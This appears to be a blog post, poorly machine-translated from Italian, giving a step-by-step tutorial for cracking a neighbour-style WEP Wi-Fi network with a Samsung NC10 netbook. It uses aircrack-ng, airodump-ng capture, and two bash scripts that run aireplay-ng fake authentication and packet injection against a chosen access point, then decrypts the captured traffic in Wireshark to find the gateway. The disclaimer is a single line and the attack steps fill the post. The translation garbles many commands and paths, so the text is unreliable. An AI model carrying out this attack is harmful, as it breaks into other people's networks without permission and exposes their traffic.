I state that this item
for educational purposes only, that said we can start talking about how to prepare our
Samsung NC 10 Netbook
for wep cracking.
Step one (Linux onboard):
Install Linux
Ubuntu or Kubuntu on a free partition or by
Wubi, the latter system, lets you install Linux directly from Windows, thus avoiding all the problems of partitioning and once installed, reboot the computer, you have the two choices Windows and Linux.
Second step (install the MadWifi driver):
I boot Linux. We install wireless drivers for Linux:
madwifi and madwifi-tools (sudo apt-get install madwifi-tools), but you can disable the restricted driver that recognize card but do not allow it to function: System> Administration> Hardware Drivers and click Mute button bottom right, and then restart the system. After this, download the latest madwifi driver
from here and extract it to your Desktop, open a terminal and type: sudo apt-get install build-essential
, which is the package containing the software needed to compile the driver , and always from the terminal, it will compile the driver of cd Desktop / madwifi-hal *
(if we have the drivers unzipped on the Desktop) sudo make sudo make install sudo modprobe ath_pci
To ensure that the drivers are loaded automatically at startup.
sudo gedit / etc / modules
or sudo kate / etc / modules and bottom of the file, add: ath_pci
save and restart. the next reboot, the wireless card should be visible and configurable by clicking the Network Manager icon in the tray, or, I recommend using Wicd Networtk and Uninstall Manager.
(Personal note: After all these steps, I also restored the restricted driver and everything works)
Third Step (we arm the system):
Download the aircrack-ng suite
to Install Packages or terminal windows type:
sudo apt-get install aircrack-ng
After this we type in the terminal window the command: iwconfig
we should see something like (I have obscured my references with the X):
wifi0 no wireless extensions.
ath0 IEEE 802.11g ESSID: "XXXXXX" Nickname: "" Mode: Managed Frequency: 2,437 GHz Access Point: XX: XX: XX: XX: XX: XX Bit Rate: 24 Mb / s Tx-Power: 18 dBm Sensitivity = 1 / 1
Retry: off RTS thr: off Fragment thr: off Power Management: off Link Quality = 32/70
Signal level =- 61 dBm Noise level =- 93 dBm Rx invalid NWID: 780 Rx invalid crypt: 0 Rx invalid frag: 0 Tx excessive
retries: 0 Invalid misc: 0 Missed beacon: 0
Now we have to put our wireless card (ath0 ) in "
Monitor mode", then type: sudo
airmon-ng stop ath0 sudo airmon-ng start wifi0 then
iwconfig wifi0 no wireless extensions.
ath0 IEEE 802.11g ESSID: "" Nickname: ""
Mode: Monitor
Frequency: 2,437 GHz Access Point:
Bit Rate: 24 Mb / s Tx-Power: 18 dBm Sensitivity = 1 / 1 Retry: off RTS thr: off Fragment thr: off
Power Management: off Link Quality = 32/70
Signal level =- 61 dBm Noise level =- 93 dBm Rx invalid
NWID: 780 Rx invalid crypt: 0 Rx invalid frag: 0 Tx excessive
retries: 0 Invalid misc: 0 Missed beacon: 0
At this point we have to detect the available networks: write
:
sudo airodump-ng ath0 and we will have an output like this:
CH 11] [BAT: 34 mins] [Elapsed: 8 s] [24/01/2009 24:32 BSSID PWR
Beacons # Data, # / s CH MB ENC CIPHER AUTH ESSID
00: XX: 2E: XX: XX: A8 8 4 2 0 11 54. WEP WEP Pippo
00: E4: AA: 73:68: XX 28 27 0 0 6 54. WPA TKIP PSK BSSID STATION PWR
Rate Lost Packets Probes
from which we understand that there a wireless network protected by WEP, MAC Adddress on channel 11: 00: XX: 2E: XX: XX: A8 ESSID: Pippo
now we can start the attack, 4 Terminal windows open in the first write
: sudo airodump-ng-w Atho pacchetti_pippo - bssid 00: XX: 2E: XX: XX: A8-11 c
But let's step back, before running airodump-ng, we have to write a couple of bash scripts:
primo.sh
# / bin / bash /
# this script is used to authenticate to the AP (Access Point) to attack
# echo "Writing my mac:" read mio_mac
# echo "Writing 's set interface in monitor mode, "read the
# here Put the card in your Mac # discover it with iwconfig
mio_mac = "00:00:00:00:00:00"
echo "write the MAC ADDRESS API to attack" read mac_ap
echo "write 's essid WLAN to attack, "read
SSID_wlan aireplay-ng -1 0-e-a $ $ SSID_wlan mac_ap-h $ i $ mio_mac
Here the data will be the MAC and the name of Pippo Pippo (essid).
Launch primo.sh with: sudo sh
primo.sh
Then write secondo.sh:
# / bin / bash /
# here put the card in your Mac # discover it with iwconfig
mio_mac = "00:00:00:00:00:00"
echo "Writing the interface set in monitor mode," read the
echo "Writing the AP ESSID:"
read and
echo "enter the MAC ADDRESS BEES"
read mac_ap
aireplay-ng -3-and $ and $ mac_ap-b-h $ i $ mio_mac
launch secondo.sh with: sudo sh
secondo.sh
This script is used to inject (packet injection), the packets on the AP and in order to generate traffic and can capture many packets, to feed the last weapon: aircrack-ng terminal window
last write:
sudo aircrack-ng-z-b mac_di_pippo pacchetti_pippo *. cap
but just enough:
sudo aircrack-ng-z *. cap pacchetti_pippo
let him work .... after a tot. time, from 3 to 10 minutes, depending on signal strength, you will get a key found in hexadecimal:
KEY FOUND! [XX: D1: F2: 67:4 D: 18:6 B: XX: XX: XX: 1X: XX: XX]
Decrypted Correctly: 100%
At this point we have the password in hex, we can already use it , added to our network operator, in both Windows and Linux, and not the WEP Hex Key WEP Key Passphrase.
However, if you ever want to see if the event is a key human-readable we can try to write this: echo
key_trovata xxd-r-p
now remains the last problem, how to find your subnet and gateway of the AP Goofy?
launch
Wireshark, which you previously downloaded and installed, then open the packages pippo_pacchetti.cap (from File-> Open) go to Edit -> Preferences-> Protocols mixture
the IEEE 802.11 and entered in field key1 we could find the key, then one and finally a Apply
OK. At this point we will see paccchetti clear, even with the cut and thrust of the gateway with our computers, from here you can go back to the AP that belongs to subnet attached and what is the gateway.
For DNS, just use the OpenDNS
and you're done!
Clearly, wireshark, it may not be used if the AP has DHCP enabled, then automatically assigns IP address, Gateway and DNS.
finally type: sudo rmmod ath_pci
sudo modprobe ath_pci and
in order to restore our wireless card to surf.
course, you can expand the discussion of aireplay attacks, forging of the MAC of your card, use of Kismet ... but this is up to you;)
Nanni Bassetti
0 comments:
Post a Comment